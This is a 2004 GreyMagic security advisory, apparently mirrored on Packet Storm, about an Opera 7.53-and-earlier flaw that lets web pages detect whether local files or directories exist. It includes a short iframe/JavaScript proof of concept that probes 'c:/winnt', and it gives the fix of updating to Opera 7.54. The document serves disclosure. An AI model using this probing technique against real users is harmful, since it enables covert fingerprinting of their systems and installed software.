exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

gm009-op.txt

gm009-op.txt
Posted Aug 19, 2004
Site greymagic.com

GreyMagic Security Advisory GM#009-OP - Opera versions 7.53 and below on Windows, Linux and Macintosh have a flaw that allows an attacker the ability to figure out whether or not a file or directory exists.

tags | advisory
systems | linux, windows
SHA-256 | c1016c549082c639a7eb373daec02795b9f4f03545ad69076289d49c20930b4e

gm009-op.txt

Change Mirror Download
GreyMagic Security Advisory GM#009-OP
=====================================

By GreyMagic Software, 17 Aug 2004.

Available in HTML format at
http://www.greymagic.com/security/advisories/gm009-op/.

Topic: Opera Local File/Directory Detection.

Discovery date: 04 Aug 2004.

Affected applications:
======================

Opera 7.53 and prior on Windows, Linux and Mac.


Introduction:
=============

While working on a proof-of-concept exploit for the previous Opera advisory
[1] we needed to find a way to detect the victim's system root directory, in
order to locate a specific resource that's required for exploitation.

[1] http://www.greymagic.com/security/advisories/gm008-op/


Discussion:
===========

After a bit of investigation, we found that we can easily determine whether
a directory (or file) exists or not.

When a non-existent file or directory is assigned to an iframe, an error is
thrown to the user and the actual location of the iframe does not change.

This situation can easily be detected by an attacker using an accessible
iframe (within the same domain). By changing its URL to the location of a
file or directory and then checking whether an error is thrown when trying
to access its DOM, the attacker can determine whether the resource exists.


Exploit:
========

The following sample code determines whether the directory "c:/winnt"
exists:

<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
    var sLocal="c:/winnt";
    frames[0].location.href=sLocal;
    setTimeout(
        function () {
            try {
                frames[0].document;
                alert(sLocal+" does not exists.");
            } catch (oErr) {
                alert(sLocal+" exists.");
            }
        },
        250
    );
}
</script>

An attacker is likely to run this against a group of directories in order to
find the right one or determine whether specific programs are installed.


Demonstration:
==============

Proof-of-concept demonstrations of this issue can be found in our previous
Opera advisory, at http://www.greymagic.com/security/advisories/gm008-op/.


Solution:
=========

Update to Opera 7.54.

One of the changes in Opera 7.54 was to completely block access to the
file:// protocol from non-local URLs. That change also happens to protect
against this vulnerability.


Tested on:
==========

Opera 7.52.
Opera 7.53.


Disclaimer:
===========

The information in this advisory and any of its demonstrations is provided
"as is" without warranty of any kind.

GreyMagic Software is not liable for any direct or indirect damages caused
as a result of using the information or demonstrations provided in any part
of this advisory.

- Copyright © 2004 GreyMagic Software.
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close